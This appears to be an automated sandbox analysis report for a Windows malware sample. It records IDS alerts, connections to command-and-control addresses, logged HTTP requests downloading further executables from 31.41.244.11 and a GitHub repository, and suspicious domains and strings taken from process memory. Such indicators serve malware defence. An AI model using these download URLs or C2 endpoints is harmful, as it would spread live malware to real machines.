Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49892 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49896 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49902 -> 172.67.179.109:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49927 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49928 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49934 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49943 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49952 -> 104.21.66.85:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C8E0C0 recv,recv,recv,recv,

0_2_00C8E0C0

Source: global traffic	HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: /
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/jthjjdweajtujhjad.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/wicked/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/geopoxid/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique3/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=vyt5WIFDmk1K7gm81734613844 HTTP/1.1Host: home.fivetk5vt.topAccept: /
Source: global traffic	HTTP traffic detected: GET /files/lolz/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/dodo/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11

Source: global traffic	DNS traffic detected: DNS query: cheapptaxysu.click
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.fivetk5vt.top
Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: fivetk5vt.top
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cheapptaxysu.click

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Thu, 19 Dec 2024 13:10:26 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Frame-Options: SAMEORIGINReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LbDfkKzj2HjuCVfv8IcTj%2B5%2F4covOXOjkeR0neSKOcMwr2pUMDlIVBaWEfYmTaGPYMCFfyqOPAcmc3%2B9w5zP3zLQIvF73IJay4bfwIRRWS7aw9%2FDJ16FoNvKvG8yx0CmlyKvxT8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8f47a1fc9ac13308-EWR

Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.css
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://.jpg
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpP
Source: skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpl
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11//Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe%Xa
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/dodo/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/geopoxid/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/lolz/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exeU
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe$n
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe0
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1a
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe1aMX
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe7
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe8sY
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe9n
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exees/unique1/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exegn
Source: skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exen
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exeZY
Source: skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exe
Source: skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeded
Source: skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/wicked/random.exeh
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17
Source: e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: 79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: 79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: 79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: 79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: 79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: 751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 751afd6d8b.exe, 0000000B.00000003.2675920878.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2636461375.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701321503.000000000145F000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2565569700.0000000005AD5000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2596772182.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2567033997.0000000005AD5000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492714578.00000000013D3000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2700778423.00000000013C7000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2676190510.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2564761070.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698831543.000000000145E000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543147140.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/
Source: 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/#u
Source: 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/CuH
Source: 751afd6d8b.exe, 0000000B.00000003.2675799130.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2675920878.000000000144E000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2622891730.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701321503.000000000144E000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2565569700.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2564991388.0000000005AE0000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2635892068.0000000005AE5000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2567033997.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2650208475.0000000005AE5000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2713675940.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 